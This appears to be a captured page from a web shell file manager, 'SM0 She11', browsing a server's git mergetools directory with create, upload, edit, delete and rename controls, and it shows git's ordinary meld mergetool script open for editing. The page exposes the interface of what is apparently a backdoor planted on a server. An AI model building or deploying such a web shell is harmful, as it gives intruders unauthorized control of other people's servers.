SM0 She11

Path: / / usr / libexec / git-core / mergetools

Full Path (server): /usr/libexec/git-core/mergetools

Create Fil3

Upl04d Fil3

• 📄 araxis [E] [D]
  [R]
• 📄 bc3 [E] [D]
  [R]
• 📄 codecompare [E] [D]
  [R]
• 📄 deltawalker [E] [D]
  [R]
• 📄 diffuse [E] [D]
  [R]
• 📄 ecmerge [E] [D]
  [R]
• 📄 emerge [E] [D]
  [R]
• 📄 gvimdiff [E] [D]
  [R]
• 📄 gvimdiff2 [E] [D]
  [R]
• 📄 kdiff3 [E] [D]
  [R]
• 📄 kompare [E] [D]
  [R]
• 📄 meld [E] [D]
  [R]
• 📄 opendiff [E] [D]
  [R]
• 📄 tkdiff [E] [D]
  [R]
• 📄 tortoisemerge [E] [D]
  [R]
• 📄 vimdiff [E] [D]
  [R]
• 📄 vimdiff2 [E] [D]
  [R]
• 📄 xxdiff [E] [D]
  [R]

Editing: meld

diff_cmd () { "$merge_tool_path" "$LOCAL" "$REMOTE" } merge_cmd () { if test -z "${meld_has_output_option:+set}" then check_meld_for_output_version fi touch "$BACKUP" if test "$meld_has_output_option" = true then "$merge_tool_path" --output "$MERGED" \ "$LOCAL" "$BASE" "$REMOTE" else "$merge_tool_path" "$LOCAL" "$MERGED" "$REMOTE" fi check_unchanged } # Check whether 'meld --output <file>' is supported check_meld_for_output_version () { meld_path="$(git config mergetool.meld.path)" meld_path="${meld_path:-meld}" if "$meld_path" --help 2>&1 | grep -e --output >/dev/null then meld_has_output_option=true else meld_has_output_option=false fi }
Save